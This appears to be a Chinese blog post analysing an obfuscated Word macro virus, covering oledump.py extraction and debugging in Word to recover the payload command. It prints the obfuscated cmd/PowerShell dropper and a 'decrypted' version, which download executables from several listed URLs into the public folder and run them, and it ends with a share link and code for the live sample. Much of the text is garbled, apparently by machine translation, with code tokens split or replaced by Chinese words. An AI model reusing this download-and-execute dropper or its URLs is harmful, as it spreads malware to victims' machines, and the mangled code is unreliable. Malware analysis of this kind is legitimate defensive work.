根据宏病毒的特征,试探讨宏病毒的存在环境,病毒宏基因组学
宏混淆分析前言静态分析动态调试提取外壳指令解密指令摘要
序
很早以前就说过想分析宏病毒,但是一直没有机会。现在我终于有空闲时间来分析一个令人困惑的宏病毒了。
静态分析宏病毒时,可以使用oledump.py提取宏代码进行分析。
使用命令python oledump.py文件名查看文件流信息。
下图中的m表示该段有宏代码。
Python dump.py-s8-v11.dat1.txt可以将第8段的宏代码提取到1.txt中,然后查看。
用同样的方法提取其他截面的宏代码。
有几个文件是混乱的宏代码,代码量很大,可以直接在word中调试。
我们来看几张简单的图片。
宏病毒通常被用作有效载荷的载体,它通过创建其他例程来释放和运行有效载荷。宏病毒之前再怎么复杂的表现,最后也一定会运行有效载荷,运行有效载荷的方式可能是Shell,WScript。外壳,应用程序。跑等。我们可以直接搜索这些字符串来快速定位有效负载运行的位置。
调试和提取shell指令动态调试在word中可以大干一场(动态调试)。
您可以单击“启用内容”按钮,按住SHIFT键,单击“启用内容”按钮,然后松开SHIFT。然后,按ALT F11打开宏编辑窗口。这时候可以断点,单步执行宏代码的主函数。
可以找到open,在open函数处中断断点,一步调试。
移动到shell字符的位置,修改它并在即时窗口中打印出来(alt g)
解密指令要执行的命令是
%^c^o^m^s^p^e^c^% %^c^o^m^s^p^e^c^%/v/c set % anwnbcccfohpifay %=xpbcziswset % oofgpbavpzwm %=pset %ehvwmsqvjsuf%=o^wset % kzllsttjvsnamhd %=cichcmiset % yandbhvc %=!%oOFGpBavpzWm%!set % nmualivruzcdrqm %=ngnmyupmrzqgjset %chqcioam%=e^rset % kobpiaiejm %=!%EHvWMSqvjSuF%!set % USVFzoX %=sset % rilcwjzznwvfoi %=smwHVBPYvORset % dtpzbsrzarhw %=heset % ahz thirth %=ll!%YAndBHVC%!%koBpiAiEjM%!%chqciOaM%!%USVFzoX%!%dtPZbzmsRzArHw%!% ahz thirth %!( LCxn sadas d =(IM TnIMT IM TeIMT I M Tw -ob jec I M T IM TtIM T)r an DOM ; L Cx YYU= 。(IMTneIMT IMT wIMT IMT -obj ectI MT)Sys t em 。Ne t . Web C l ie n tLCxNSB=LCx n sa d a sd 。ne xt(1000 0,2821 33 );l C xADC X=IMT http s:// e-die rks . de/ 2 s Vu5xN/@ http :/ / e a ST f oot ball . co . uk/ b kBaM K/@ http:// BOM ber mus IC . co m/CHL 34g /@ ht TP://za f ado . co m / a s pne t _ CLI e Sp lit(IMT @ IMT); LCx SDC =L Cx e NV:p u blic IMT 50 nimt LCx nsb (IMT。 exI M T IMTe I M T );f or each(LCxAD C X中的LCxasfc){ try { L CxY YU 。pEN Do AF eWn l AFe O adFIAFelepE N (LC xa sfc . pEN T O S T rAFe iA Fe N g pEN(), LCxS D C ) ;(I MTInv oI MT IMT ki M T IMTe-It emI MT )(L CxSDC) ;“破裂”;} catc h{ }} )。替换(([CHAr]76 [CHAr]67 [CHAr]120), $ )。替换( 50n ,[StrINg][CHAr]92)。替换(([CHAr]112 [CHAr]69 [CHAr]78),[string] [char] 34)。替换( AFE ,[string] [char] 96)。replace(([char]73[char]77[char]84),[string][char]39)($ PS home[21]$ PS
解密的代码是
cmd ndhwbjrakjd lwbedforvyorokfih hjtwpel % com spec % % com spec %/v/c set % app CCF ohpifay %=xpbcziwset % oofgpbavpwm %=pset % kzlsttjvsnamhd %=cijhiset % yandbhvc %=!%p%!设置% momvisualuzcdrqm %=ngnmyupmrzgggjeset % kobpiajm %=!天啊!set % usvfzox %=sset % rilcwjzsznwvfoi为%=smwhvbpyverst % dtpz msrhw %=heset % ahztnth %=ll!powershell$nsadasd=随机;$YYU=.(新对象)系统100 .净客户端:下载样本$NSB=随机。下一步(10000.282133);随机命名样本$ ADC x=33959 e-dieks。de/2 svu 5 xn/http://东方足球。co . uk/bkk MK/http://bombermusic。com/CHL 34g/http://zafado。com/aspnet _ client/o 4 yd 0 z 06/339 averin。pro/oeyhfkuj/恶意URL $ SDC=$ env:public" $ nsb().exe);对于每个($asfc在$ ADCX){试试{$YYU。"下载文件(& $ asfc .tostring()$ SDC:(调用项)($ SDC);运行恶意程序打断;打断;抓住{}} .替换( LCx , $ ).替换( 50n , ).替换((笔,).替换( afe ,).替换(` IMT )(iex)基本流程为,使用CMD(命令)命令打开powershell,再在指定恶意网址(URL)处下载文件,并随机数字命名,最后运行恶意程序。
小结分析到最后总结一下吧,大多宏病毒的最终目的是从恶意网址(URL)中下载恶意程序的,可以根据这个思路来快速查找。
最后再放上这个样本的,欢迎大家一起分析讨论。
链接:339潘。百度一下。com/s/1 NH _ ksovxuwbdhclo _ 0wa
提取码:vnll